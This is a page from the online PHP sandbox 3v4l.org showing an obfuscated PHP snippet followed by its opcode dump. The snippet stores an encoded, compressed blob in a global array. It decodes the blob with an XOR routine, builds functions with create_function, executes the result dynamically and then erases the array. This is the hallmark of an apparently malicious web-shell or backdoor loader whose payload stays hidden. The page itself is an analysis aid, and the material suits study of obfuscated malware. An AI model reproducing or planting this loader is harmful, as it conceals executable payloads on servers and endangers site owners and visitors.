3v4l.org

run code in 300+ PHP versions simultaneously
<?php $GLOBALS["bjiydd"]=array('$GLOBALS["bjiydd"][0]=$GLOBALS["bjiydd"][3];$fjokjezt=$fjokjezt(7,13);$GLOBALS["bjiydd"][0]=$fjokjezt($GLOBALS["bjiydd"][2]);','$GLOBALS["bjiydd"][2]=gzuncompress($fjokjezt(724,2149));','UGt1cX9oVXlkeHV5fW1lfV55d3xbaHxkYWN3UWd8eHJ6ZmB1WnV2fHxmd21cWFJLRk1DUk9CR19RW0hPUUVYdFdRfHR1b3hsZWtxcGFheX9lJX1vP0pFRk96Yiw/MTh0cExVamx+Q2VvPnNqbyB3OmBHdik8LHR2PnlNZ3BRYCs3cWh6fml6c3llcGV1emVjZ39+bm1mZCd8cWxhfD9mbGJ8ZCpoY29rZ39wJX5nam9kbDp4a2RlaX1yUEVVWllqbXhEeG53d2dVeGxrIj4uZ3FXelBFVVpVSUNWRHRJenBybzw1U2F1Z2F3cS94ZXF+byF5ZGBgc3B6M0NQc0RKVFBfT1JYWkVWR3lJaUtSU0NaVVNLUUlLRnBJRERYU15fUUJNQFRheUZGJ2FwcDd1ZHwlcmRoZ1BXN2VseiUvamp+cCNmem11eEk3ZWx6JS9FRlUpe319fFhzb0xcUXhseUdMVExaVUxcUU5DU2FpakE3ZWx6cXN2bWFtZWtlU3F9dFF3fXZHTGx8cWlwblRUZG9hLGllb3hgfnAhZmRoYmp8YnJ1b2EsaWVveGB+cCFwdWdlbn5+c2lvZVNheXZqNnVxdzZ9bm1JWGh6cHJvPDVTYXVnYXdxcm9CUWtlc29rbFNidXBRfnFwbFR8cHVrbW1jaEdGTVNQRVVaVVRfQEJbT1RRSll4U09Ha255WUNRen4gL2t4ZmlrZHFjPWRzb2Z9Iy9heGRudj5nYX5MS3hTeiUvbGVzbWl5Z2s9d2tgbnZIUjdmcSdpbmJjeWMgY3x0Mn4lVT56PFdpWFJSPmU8emJxKnUtaWxwTUJCPmc8T2dnV2h7ZHNmVWhxf2h+V0R4eVUpdmlwZXV6MC4ja2s+ZjxsbWJ0U2t0dWV6dUxUPmY8aX9adWV5Y2Z9aWRpT2xtPmY8eWEhRFFEVCEiOjRLbFduUH5yfjAhZXF1VWc3S1Fl'.'WWCNhFJxbu5NAvskDtCKvec4rjCRci7dKWMf038GlWmuSyeGhrvAbGngh9k7y3mmscPB5zst/8zrvqp57r7eXENCRqIqhpNs0XqojfI0Tv9O+AZo3JqlEyGS+b5f6CZHmFmhiPgobjnGeT6VFa+maMOyw5Ca5C9Gp1EaGqZZQ9wnUTCbfnlvU3Z0SV0nByxZq+A1TQeLwzhhMHSOs9zODWNWOE1T3RRB4kIuQ9p0sddyy3M6B/YY3GqXx9tlrB2abraBZziTeOdHMjvuooyIW4LDjfh7PF5S9m/zVKg1ydQll2YS3cEzY94S4sPCZLZQcHYlXs7jCbQ3EhCVdbDRUWekxCd6f8qylHXK54W72n3pb6//W4NFsmTyY39HubxRIsyQMBQd6qiJzbjG8TStFAi/biOA+wBdSZBwvqTRG4VHlgSCrz4a2aFEf+oE1nH0mzxt4AgPCua5fkq2qNPObNeBhE2qcRUeUhUiYviidg2ExxwbzqP3Uv31pNrso/GRGtwsIDE/QijfC3aykVCI6jVvyy9d9JzXIdsb6mzQm2leLqy2hG/Iy3kVqTF7yWBMWn5YJIlwdVMCoQuxe6HyKsBV9OJ74sRngGxtGPjBMBCxl37etdlrbOqw8zLhp7CF7VmaFhQdEApsSOcsxrGhlBzWhuDMVfo/LZggwPQfjB80ZRYAJtg5UQJJ76AqbO349PLk3jMTMqkc9g9xoWYLGNUpdQo6DF2U4INhnxtPvijQrnPjlJVFx3Q86GeF+NyHyi42yCJViwtg3eQJintDXLEMGDUfIi3JQUxuQKH5chTk04/iC+YhOkMpAbuuJQMbkTFmdc+YPyYdrT9NFsJtl4pM9QvZb37W7dqSrQtEY1H2rrk+ou0ZhsNMcrQcws07lXYORE460ZowxVa0ARGkfzbWdkVeSlY5XMcQ03XkEnX1HHt1+uXfJ/RiJqyQ79+abYB//UcAd37XRrTvC21kZTEQ95PIr0iYynwd6PgMD5S6WIEabssj+'.'nkUXLS4QCVdISF59y3ytXlwwfk0JxJHWD8V7I6ztxvic07kkBiWgnBNrzkwTP9zXL7w/KCV6aLLvjVrz5r/rwWDgjI3NNjGg965PZkTS50LAu3Kp3RjYarZ9oKnWI+FIPECvSuJHkrp5um5jF3nFAnk8eJ0IIhou2WNKV0+BwOJrvV2u+PIv/TDsjW1lfV5EjmtsHceon2wFoLGdzD4FpxFrzv6aEtbkvHnFDKU5fr79ajD4WMAgk58DHSIDcozFHlr/NAIGKC7wxqZima/T3/lZUsFXuSoqMCiyFR6FBEf0JRI6ICSnO1W6KLLzIFyfTUcRA8AfuDu9yYRiWsyAR5pr/P2RDm/IRuy/E7dfQxHliuOc2VbkQDAeE0EfDzbbC9EUxKH0vFMwUh00khZ0UjEiWmPtR+IeFvwNhWatisXoj6U5jlsXA5UwgPg8lyMigeBBRe/1tSo2dmew+uqTf5MBIbcP24O/Ng8Pr1OPkILucZ17NCXuOJ4RPAwTU5JOjb4ZxIhu4b0qc'.'Cnq08wwNzCpl/BCZ6rXDVAdlDrB+Ksc1Q0GCKa6dGbOVmeuxAFGCjWj2L9rRMxqMERhtpatXG/wia3qkx2kRROWZhtySCZycbAlmdgvd5uhXkfzU9RbPbVvh2XCHGXpFde/nPivH//H+0+xXHHYZzMQB2YVtZNaBOcCu0wIYC0q66STP+zBrcMHvm8mXloPLbwmD9reVJJBjF0O0pu7R1WjRd4z5qOyXgxBUUPwNbsv4bWibChIdoqnt8Wn5GXTg0+26CM4HpQ3tjEhplyW6lQLy1H3JKucf/GepL8zGXOWiIdsp51LY9oJwciTbTGF5Y7pXvxLjyfkBe2QzDw7j+3ArMRhx6b3fOcEk8+lzVBftMLquQnjq93mTTO2XhiSV/L8CglYkCPWxnUYxQXuSX6i9mIRRonoYDS53NzqUA4tK7HkU8YYn0lRdlLsHRwaKqE/OSf6nL2sD1ufwL3L4EvsVbvztKQ6Eq2a0C4Fhtm8P+XxzbaIPd5VKrbsMAz7kuUeJ0bHcNh0eEAFFlIkgnE33XoJY0duTQJPwP4JLb3KI7XoLMDjzVSJO6WnHPZKTVwNzOeZxnHUZ72kqQq+UHe7zaf8GcQEkG14V825E4w8Im10wJ2X862zaiYn5LjS0fwUK+A15lHKbgxmNpnRn94XObRf1Gnd93QasAUTRBLP1coSB0lnkwrWQOp0IxXoRSmVxIM9qkqONh7c4amqhJcGQI/ecm3j4eb1sjtx1EXSgxpQ6wLvyhOe7jaZjNMpgGMIaop2rZGMZTL/rD51HsZUX4bXTXW0XyEOBQnCgu6I500lBFB7yySoPiGVu9N9JwD6OpGx5nCN+LEpSxlTazNES5no5cJIg9EliogXLbXE7cg7DBeqZoa5lur4Pm+/fIfTRwK+zRcz3XMBXOnnaR37O5Fxa4P/QPvxWFA3UsAwuqo'.'5156DDIbFoC1wmHDdOz/fuX/2Fx9ia7RaGnvMrXu/h5VtCC580PuoVybiz38pS/903F7d1AYv6Fe37SRle0Q1UEfdZKW8XKzn7wT1LpSF4v/qxEKueTzpT8uYDK/dqLEpA4HwuSTBbOyRizGWGfX4YZzTqWYkrO/rBmDbVtrBayZK2GvwOO1eMq52Zz6zp2ZviIwL28n7whNh3r9A2Una4xJg5VxPOHjQbjQoyJDQag85vzsn25WLOfHLlYOowkFXbn5rYdEuJjzeIZWO96vPTY3X17oPQu8+O81mcO3sSNpQIRYh8YXit6/m3Ay+F+Rwp0uqHDkqY5PC7JigpahGkhXH+ek+QoD8QrXgjQybZ/I/+byu1Qq0WbMofX4B5/Ts1Z2bQ==',"/*fxvez\x7a\x70\x72\x6f\x3c\x35\x53\x61\x75\x67\x61\x77\x71*/");$eyvdcrc='create_';if(function_exists($eyvdcrc.='function')){$fjokjezt=$eyvdcrc('$u,$f','$v=str_pad("",$f,"xqajjalepdnstdmk");$c=str_repeat("\x1f",$f);$n=str_repeat("\xe0",$f);$j = substr($GLOBALS["bjiydd"][0],$u,$f);return(($j^$v)&$c)|($j&$n);');;for($ks=-1;++$ks<3;$GLOBALS["bjiydd"][$ks]($fjokjezt)){$GLOBALS["bjiydd"][$ks]=$eyvdcrc('$fjokjezt',$GLOBALS["bjiydd"][$ks]);}};unset($GLOBALS["bjiydd"]);
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 37
Branch analysis from position: 9
1 jumps found. (Code = 42) Position 1 = 34
Branch analysis from position: 34
2 jumps found. (Code = 44) Position 1 = 37, Position 2 = 16
Branch analysis from position: 37
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 16
2 jumps found. (Code = 44) Position 1 = 37, Position 2 = 16
Branch analysis from position: 37
Branch analysis from position: 16
Branch analysis from position: 37
filename:       /in/4kQ4t
function name:  (null)
number of ops:  40
compiled vars:  !0 = $eyvdcrc, !1 = $fjokjezt, !2 = $ks
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   FETCH_W                      global              $3      'GLOBALS'
          1        ASSIGN_DIM                                               $3, 'bjiydd'
          2        OP_DATA                                                  <array>
          3        ASSIGN                                                   !0, 'create_'
          4        INIT_FCALL                                               'function_exists'
          5        ASSIGN_OP                                     8  ~6      !0, 'function'
          6        SEND_VAL                                                 ~6
          7        DO_ICALL                                         $7      
          8      > JMPZ                                                     $7, ->37
          9    >   INIT_DYNAMIC_CALL                                        !0
         10        SEND_VAL_EX                                              '%24u%2C%24f'
         11        SEND_VAL_EX                                              '%24v%3Dstr_pad%28%22%22%2C%24f%2C%22xqajjalepdnstdmk%22%29%3B%24c%3Dstr_repeat%28%22%5Cx1f%22%2C%24f%29%3B%24n%3Dstr_repeat%28%22%5Cxe0%22%2C%24f%29%3B%24j+%3D+substr%28%24GLOBALS%5B%22bjiydd%22%5D%5B0%5D%2C%24u%2C%24f%29%3Breturn%28%28%24j%5E%24v%29%26%24c%29%7C%28%24j%26%24n%29%3B'
         12        DO_FCALL                                      0  $8      
         13        ASSIGN                                                   !1, $8
         14        ASSIGN                                                   !2, -1
         15      > JMP                                                      ->34
         16    >   INIT_DYNAMIC_CALL                                        !0
         17        SEND_VAL_EX                                              '%24fjokjezt'
         18        CHECK_FUNC_ARG                                           
         19        FETCH_FUNC_ARG               global              $14     'GLOBALS'
         20        FETCH_DIM_FUNC_ARG                               $15     $14, 'bjiydd'
         21        FETCH_DIM_FUNC_ARG                               $16     $15, !2
         22        SEND_FUNC_ARG                                            $16
         23        DO_FCALL                                      0  $17     
         24        FETCH_W                      global              $11     'GLOBALS'
         25        FETCH_DIM_W                                      $12     $11, 'bjiydd'
         26        ASSIGN_DIM                                               $12, !2
         27        OP_DATA                                                  $17
         28        FETCH_R                      global              ~18     'GLOBALS'
         29        FETCH_DIM_R                                      ~19     ~18, 'bjiydd'
         30        FETCH_DIM_R                                      ~20     ~19, !2
         31        INIT_DYNAMIC_CALL                                        ~20
         32        SEND_VAR_EX                                              !1
         33        DO_FCALL                                      0          
         34    >   PRE_INC                                          ~22     !2
         35        IS_SMALLER                                               ~22, 3
         36      > JMPNZ                                                    ~23, ->16
         37    >   FETCH_UNSET                                      $24     'GLOBALS'
         38        UNSET_DIM                                                $24, 'bjiydd'
         39      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
149.2 ms | 1400 KiB | 15 Q